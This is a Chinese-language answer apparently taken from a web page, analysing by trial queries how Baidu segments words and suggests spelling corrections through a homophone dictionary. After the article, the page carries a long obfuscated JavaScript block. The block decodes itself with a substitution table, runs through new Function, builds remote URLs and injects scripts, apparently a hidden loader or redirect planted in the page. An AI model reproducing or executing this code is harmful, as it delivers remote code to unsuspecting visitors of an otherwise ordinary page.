推荐回答(1个)
首先查询专用词典(人名,部分地名等),将专有名称切出,剩下的部分采取双向匹配分词策略。
如果两者切分结果相同,说明没有歧义,直接输出分词结果
如果不一致,则输出最短路径的那个结果
如果长度相同。则选择单字词少的那一组切分结果。如果单字也相同,则选择正向分词结果。
如果说百度有优势的话,唯一的优势就是那个很大的专用词典。
这个专用词典登录了人名(比如大长今)。称谓(比如老太太)。部分地名(比如阿联酋等)。
从语料库里面不断识别出词典未登录词。逐渐扩充这个专门词典。Spelling Checker(百度词典)拼写检查错误提示(以及拼音提示功能),拼写检查错误提示是搜索引擎都具备的一个功能。也就是说用户提交查询给搜索引擎,搜索引擎检查看是否用户输入的拼写有错误。
对于中文用户来说一般造成的错误是输入法造成的错误。
那么我们就来分析看看百度是怎么实现这一功能的。
我们分析拼写检查系统关注以下几个问题:
(1)系统如何判断用户的输入是有可能发生错误的查询?
那么百度有又是如何做到这些的?百度判断用户输入是否错误的标准,
我觉得应该是查字典,如果发现字典里面不包含这个词汇,那么很有可能是个错误的输入。此时启动错误提示功能,这个很好判断,
因为如果是一个正常词汇的话,百度一般不会有错误提示。而你故意输入一个词典不可能包含的所谓词汇
此时百度一般会提示你正确的检索词汇。
百度又是怎么提示正确词汇的呢?
很明显是通过拼音的方式,在百度输入查询“紫材”。
百度提供的提示词汇为: “紫菜”,
是同音字。所以百度必然维持着一个同音词词典。里面保留着同音词信息
比如可能包含着下面这条词条: “ zi cai 紫材”,
另外还有一个标注拼音程序,
现在能够看到的基本流程是:用户输入“紫材”,查词典。发现没有这个词汇,启动标注拼音程序。将“紫材”标注为拼音“zhi cai”。然后查找同音词词典,发现同音词“紫菜”,那么提示用户可能的正确拼写。
但是还有一些遗留的小问题。比如是否将词表里面所有同音词都作为用户的提示信息?
比如某个拼音有10个同音词,是否都输出呢?
大家觉得百度会都输出吗?百度并没有将所有同音词都输出,而是选择一定筛选标准。选择其中几个输出,怎么证明这一点?
我们看看拼音“liu li”的同音词。搜狗拼音输入法提示同音词汇有“六里 刘历 琉璃 流利 刘丽”等N个。
这里是故意输入一个词典不包含的词汇,这样百度的拼写检查才开始工作。百度提示您要找的是不是: “流氓”。我们改换输入“遛邙”。
看百度的查询呈现,
就没有提示您要找的是不是“流氓”了。看看我两次输入的字有什么区别,这说明什么?
说明不是所有同音词都给提示,而是选择性的做呈现提示。那么选择的标准是什么?
大家再回头看看,第一次和第二次输入的“遛氓与遛邙”是有绝对的区别的。
第一次输入的“遛氓”的“氓”字是流氓的氓字,所以百度做了提示您要找的是不是“流氓”了。
去百度,就是有一点对的,一个字是对的,百度也会给你个流氓
另外一个小问题:同音词词典是否包含一字词? 包含2字词,3字词,那么是否包含4字词以及更长的词条?
这里一字词好回答,不用测试也能知道肯定不包含,因为你输入一个字,谁知道是否是错误的呢?
反正只要是汉字就能在词表里面找到,所以没有判断依据。
二字词是包含的,上面有例子
三字词也包含吗?
下面我们查询 “中城药”百度错误提示:“中成药”
修改查询为“重城药”。
那么我们看看4字词汇百度怎么处理?百度是不是还是会给我们提示呢,
输入:静华烟云
输入 静话烟云
输入 京花阎晕
那么更长的词汇百度是否也提示?
我们现在输入: “落花世界有风军”, 这个查询是什么意思,估计读过古诗的都知道。看看百度的提示
这说明什么?
说明同音词词典包含不同长度的同音词信息。
另外也说明了百度的核心中文处理技术,也就是那个词典还真挺大的。
还有一个比较重要的问题。如果汉字是多音字那么怎么处理?百度比较偷懒。它根本就没有对多音字做处理。
我们来看看百度的一个标注拼音的错误。在看这个错误前先看看对于多音字百度是怎么提示错误的。
百度提示“局长”!!“俱长”的拼音有几种拼法,大家说说?两种“ju zhang / ju chang”
可见如果是多音字则几种情况都提示。
现在我们来看看错误的情况,我们输入查询“距长”,看看结果
百度提示为“局长”当然好解释,因为是同音字。
但是为什么会被提示“局长”呢?这说明百度的同音字词典有错误,
说明在“ju chang”这个词条里面包含“局长”这个错误的同音词。
让我们顺藤摸瓜。这个错误又说明什么问题呢?
说明百度的同音词典是自动生成的。而且没有人工校对。还说明在自动生成同音词典的过程中,百度不是根据对一篇文章标注拼音然后,在抽取词汇和对应的拼音信息获得的。而是完全按照某个词典的词条来标注音节的,以对于多音字造成的错误无法识别出来,
如果是对篇章进行拼音标注,可能就不会出现这种很容易发现的错误标注。当然还有另外一种解释,就是“局长”是故意被百度提示出来可能的正确提示词汇。
因为考虑到南方人“zh”和 “ch”等前后鼻音分不清么。
我们继续测试到底是何种情况
是百度有错误还是这是百度的先进的算法?
我们输入查询“悬赏”,故意将之错误输入为“悬桑”。
没有错误提示。说明确实没有考虑这种情况,鼻音没有考虑。
根据以上推导, 我们可以得出如下结论:
百度是将分词词典里面每个词条利用拼音标注程序标注成拼音,然后形成同音词词典。
所以两个词典是同样大的而且这个词典也随着分词词典的增长而在不断增长。
至于标注过程中多音字百度没有考虑,如果是多音字就标注成多个发音组合,
通过这种方式形成同音词词典。这样的同音词词典显然包含着很多错误。
最后一个问题:百度对于英文进行拼写检查么?让我们试试看,输入查询“china”,
大家告诉我,什么情况
专注中文搜索的百度还能搜索到英文
真是意外的惊喜。变换一下查询“chini”。
那么拼音搜索和中文检查错误是否采用同一套同音词词典呢,让我们来实验一下,搜索”rongji”,
最后让我们总结归纳一下百度的拼写检查系统:
就是百度的后台作业:
(1)前面我们说过,百度分词使用的词典至少包含两个词典一个是普通词典,另外一个是专用词典(专名等),
最后让我们总结归纳一下百度的拼写检查系统:
百度利用拼音标注程序依次扫描所有词典中的每个词条,
然后标注拼音,如果是多音字则把多个音都标上,比如”长大”,会被标注为”zhang da/chang da”两个词条.
(2)通过标注完的词条,建立同音词词典,比如上面的”长大”,会有两个词条: zhang daà长大chang daà长大。
(3)利用用户查询LOG频率信息给予每个中文词条一个权重;LOG大家知道是什么吗?函数
(4)同音词词典建立完成了,当然随着分词词典的逐步扩大,同音词词典也跟着同步扩大;
拼写检查:
(1)用户输入查询,如果是多个子字符串,不作拼写检查;
(2)对于用户查询,先查分词词典,如果发现有这个单词词条,不作拼写检查;
(3)如果发现词典里面不包含用户查询,启动拼写检查系统:
首先利用拼音标注程序对用户输入进行拼音标注
(4)对于标注好的拼音在同音词词典里面扫描,
如果没有发现则不作任何提示;
(5)如果发现有词条,则按照顺序输出权重比较大的几个提示结果;
拼音提示:
(1)对于用户输入的拼音在同音词词典里面扫描,如果没有发现则不作任何提示;
(2)如果发现有词条,则按照顺序输出权重比较大的几个提示结果。
对百度分词算法的进一步分析,上面说过,经过分析得出百度的分词系统采用双向最大匹配分词,
但是后来发现推理过程中存在一个漏洞,而且推导出来的百度分词算法步骤还是过于繁琐。所以进一步进行分析,看看是否前面的推导有错误。
那么以前的分析有什么漏洞呢?
我们推导百度分词有反向最大匹配的依据是百度将“北京华烟云”分词为“北/京华烟云”,从这里看好像采用了反向最大匹配。因为正向最大匹配的结果应该是“北京/华/烟云”,但是由此就推论说百度采用了双向最大匹配还是太仓促了。
前面我们也讲过,百度有两个词典,一个普通词典,一个专有词典。
而且是专有词典的词汇先切分,然后将剩余片断交给普通词典去切分。
以上面的“北京华烟云”之所以被切分成“北/京华烟云”,
另外一个可能是“京华烟云”这个词汇是在专有词典里面存储的。
所以先分析,这样得出“京华烟云”剩下“北”,没什么好切分的,所以就呈现出来了。
这里只是假设,那么是否确实“京华烟云”在专有词典呢?
我们再看一个例子“山东北京华烟云”,
如果“京华烟云”在普通词典,如果是反向切分,那么结果应该是,如果是正向切分应该是,无论如何都分不出。这说明什么?说明“京华烟云”是在那个专有词典
所以先切分出“京华烟云”,然后剩下的“山东北”交由普通词典切分,明显是正向最大匹配的结果呈现。
当然按照我们在前面讲的算法推导“山东北”的切分也会得出的结论。
但是明显比正向最大匹配多几个判断步骤,既然效果一样,另外一个更加简洁的方法也能说得通,那当然选择简便的方法了。所以初步判断百度采取的是正向最大匹配。
我们继续测试采用何种分词算法,
为了减少专有词典首先分词造成的影响,那么查询里面不能出现相对特殊的词汇
我们查询“天才能量级”,看看
这里应该没有专有词典出现过的词汇,百度切分为天才 /能量/ 级
看来是正向最大匹配的结果。
另外,如果所有查询词汇都出现在专有词典,那么采取的是何种方法?
这样首先就得保证词汇都出现在专有词典,这么保证这一点呢?我们构造查询“山东京城”,百度切分为“山东/京城”,说明“东京”是在普通词典的。构造查询“陈晓东京华烟云”,
通过前面分析可以看出两个词汇都在专有词典里面,百度切分为陈晓东 /京华烟云 ,
说明对于专有词典词汇也是采取正向最大匹配或者双向最大匹配。
那么使用反向最大匹配了吗?构造查询例子“陈晓东方不败”。
首先我们肯定“陈晓东”和“东方不败”都是在专有词典出现的,
如果是正向切分陈晓东 /方/ 不败
那么应该是或者如果是反向切分则是陈晓/东方不败
可以看出百度的切分是或者,说明采用的是正向最大匹配。
通过分析,百度的词典不包含“不败”这个单词。所以实际上百度的切分很明显这和我们以前推导的算法是有矛盾的,所以以前的分析算法确实有问题,所以结论是百度采取的是正向最大匹配算法
重新归纳一下百度的分词系统:首先用专有词典采用最大正向匹配分词,切分出部分结果,剩余没有切分交给普通词典,同样采取正向最大匹配分词,最后输出结果。
另外,GOOGLE也是采用正向最大匹配分词算法,
不过好像没有那个专用词典,所以很多专名都被切碎了
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();